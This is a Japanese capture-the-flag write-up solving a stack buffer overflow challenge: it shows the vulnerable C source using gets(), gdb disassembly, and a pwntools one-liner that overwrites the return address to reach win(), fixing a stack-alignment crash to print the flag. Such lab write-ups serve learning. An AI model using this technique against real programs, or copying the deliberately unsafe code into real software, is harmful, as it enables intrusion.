vuln関数とwin関数を用意し,main関数からはvuln関数のみcallする。
vuln関数にはbofの脆弱性がある。
main関数からvuln関数をcallした時にスタックに積まれたリターンアドレスをbofで書き換え,win関数に飛ばすという定番の問題です。
スタックのアライメントについても学習できます。
渡されたコード(asm.hの環境を構築するのが面倒だったのでコメント化してます。)
vuln.c
# include <stdio.h>
# include <stdlib.h>
# include <string.h>
# include <unistd.h>
# include <sys/types.h>
//#include "asm.h"
# define BUFSIZE 32
# define FLAGSIZE 64
void win() {
char buf[FLAGSIZE];
FILE *f = fopen("flag.txt","r");
if (f == NULL) {
printf("Flag File is Missing. Problem is Misconfigured, please contact an Admin if you are running this on the shell server.\n");
exit(0);
}
fgets(buf,FLAGSIZE,f);
printf(buf);
}
void vuln(){
char buf[BUFSIZE];
gets(buf);
//printf("Okay, time to return... Fingers Crossed... Jumping to 0x%x\n", get_return_address());
printf("Okay, time to return... Fingers Crossed...\n");
}
int main(int argc, char **argv){
setvbuf(stdout, NULL, _IONBF, 0);
gid_t gid = getegid();
setresgid(gid, gid, gid);
puts("Please enter your string: ");
vuln();
return 0;
}
gdbスタート
$ gdb -q ./overflow3
Reading symbols from ./overflow3...done.
gdb-peda$ b main
Breakpoint 1 at 0x400c09: file overflow3.c, line 35.
gdb-peda$ r
Starting program: /mnt/c/overflow3
Breakpoint 1, main (argc=0x1, argv=0x7ffffffee398) at overflow3.c:35
main関数の中身は
gdb-peda$ pdisass main
Dump of assembler code for function main:
0x0000000000400bfa <+0>: push rbp
0x0000000000400bfb <+1>: mov rbp,rsp
0x0000000000400bfe <+4>: sub rsp,0x20
0x0000000000400c02 <+8>: mov DWORD PTR [rbp-0x14],edi
0x0000000000400c05 <+11>: mov QWORD PTR [rbp-0x20],rsi
=> 0x0000000000400c09 <+15>: mov rax,QWORD PTR [rip+0x2b9b90] # 0x6ba7a0 <stdout>
0x0000000000400c10 <+22>: mov ecx,0x0
0x0000000000400c15 <+27>: mov edx,0x2
0x0000000000400c1a <+32>: mov esi,0x0
0x0000000000400c1f <+37>: mov rdi,rax
0x0000000000400c22 <+40>: call 0x410c00 <setvbuf>
0x0000000000400c27 <+45>: call 0x449550 <getegid>
0x0000000000400c2c <+50>: mov DWORD PTR [rbp-0x4],eax
0x0000000000400c2f <+53>: mov edx,DWORD PTR [rbp-0x4]
0x0000000000400c32 <+56>: mov ecx,DWORD PTR [rbp-0x4]
0x0000000000400c35 <+59>: mov eax,DWORD PTR [rbp-0x4]
0x0000000000400c38 <+62>: mov esi,ecx
0x0000000000400c3a <+64>: mov edi,eax
0x0000000000400c3c <+66>: mov eax,0x0
0x0000000000400c41 <+71>: call 0x449560 <setresgid>
0x0000000000400c46 <+76>: lea rdi,[rip+0x91c0e] # 0x49285b
0x0000000000400c4d <+83>: call 0x410a00 <puts>
0x0000000000400c52 <+88>: mov eax,0x0
0x0000000000400c57 <+93>: call 0x400bd2 <vuln>
0x0000000000400c5c <+98>: mov eax,0x0
0x0000000000400c61 <+103>: leave
0x0000000000400c62 <+104>: ret
End of assembler dump.
call vuln の戻りアドレス 0x400c5c を win() 関数のアドレスに書き換えればokみたいです
vuln関数の中身は
gdb-peda$ pdisass vuln
Dump of assembler code for function vuln:
0x0000000000400bd2 <+0>: push rbp
0x0000000000400bd3 <+1>: mov rbp,rsp
0x0000000000400bd6 <+4>: sub rsp,0x20
0x0000000000400bda <+8>: lea rax,[rbp-0x20]
0x0000000000400bde <+12>: mov rdi,rax
0x0000000000400be1 <+15>: mov eax,0x0
0x0000000000400be6 <+20>: call 0x410850 <gets>
0x0000000000400beb <+25>: lea rdi,[rip+0x91c3e] # 0x492830
0x0000000000400bf2 <+32>: call 0x410a00 <puts>
0x0000000000400bf7 <+37>: nop
0x0000000000400bf8 <+38>: leave
0x0000000000400bf9 <+39>: ret
End of assembler dump.
call gets の次
0x0000000000400beb <+25>: lea rdi,[rip+0x91c3e] # 0x492830
にブレークポイントを設定します
gdb-peda$ b *0x0000000000400beb
Breakpoint 2 at 0x400beb: file overflow3.c, line 30.
gdb-peda$ c
Continuing.
Please enter your string:
ここで AAA を入力します
AAA も書き換える戻りアドレス 0x400c5c も見えています
詳細なスタックの状況を見ます
gdb-peda$ x/10xg 0x7ffffffee220
今は A3 しか入力していませんが,黄色の蛍光ペンで示したように A8*5 埋めると,その先がターゲットの戻りアドレスです。
win関数のアドレスを確認します
gdb-peda$ p &win
$1 = (void (*)()) 0x400b6d <win>
攻撃コード書いてみます。
$ python -c "from pwn import *; print 'A'*(40)+p32(0x400b6d)" | ./overflow3
Please enter your string:
Okay, time to return... Fingers Crossed...
Segmentation fault (core dumped)
Segmentation fault になりました。もしや,アライメント?
win関数を見てみます
gdb-peda$ pdisass win
Dump of assembler code for function win:
0x0000000000400b6d <+0>: push rbp
0x0000000000400b6e <+1>: mov rbp,rsp
0x0000000000400b71 <+4>: sub rsp,0x50
0x0000000000400b75 <+8>: lea rsi,[rip+0x91c2c] # 0x4927a8
0x0000000000400b7c <+15>: lea rdi,[rip+0x91c27] # 0x4927aa
0x0000000000400b83 <+22>: call 0x410450 <fopen64>
0x0000000000400b88 <+27>: mov QWORD PTR [rbp-0x8],rax
0x0000000000400b8c <+31>: cmp QWORD PTR [rbp-0x8],0x0
0x0000000000400b91 <+36>: jne 0x400ba9 <win+60>
0x0000000000400b93 <+38>: lea rdi,[rip+0x91c1e] # 0x4927b8
0x0000000000400b9a <+45>: call 0x410a00 <puts>
0x0000000000400b9f <+50>: mov edi,0x0
0x0000000000400ba4 <+55>: call 0x40eb20 <exit>
0x0000000000400ba9 <+60>: mov rdx,QWORD PTR [rbp-0x8]
0x0000000000400bad <+64>: lea rax,[rbp-0x50]
0x0000000000400bb1 <+68>: mov esi,0x40
0x0000000000400bb6 <+73>: mov rdi,rax
0x0000000000400bb9 <+76>: call 0x410140 <fgets>
0x0000000000400bbe <+81>: lea rax,[rbp-0x50]
0x0000000000400bc2 <+85>: mov rdi,rax
0x0000000000400bc5 <+88>: mov eax,0x0
0x0000000000400bca <+93>: call 0x40f740 <printf>
0x0000000000400bcf <+98>: nop
0x0000000000400bd0 <+99>: leave
0x0000000000400bd1 <+100>: ret
End of assembler dump.
push rbp の次
0x0000000000400b6e <+1>: mov rbp,rsp
に飛ばしてみます。
$ python -c "from pwn import *; print 'A'*(40)+p32(0x400b6e)" | ./overflow3
Please enter your string:
Okay, time to return... Fingers Crossed...
CTF{gdb_is_useful}Segmentation fault (core dumped)
ビンゴ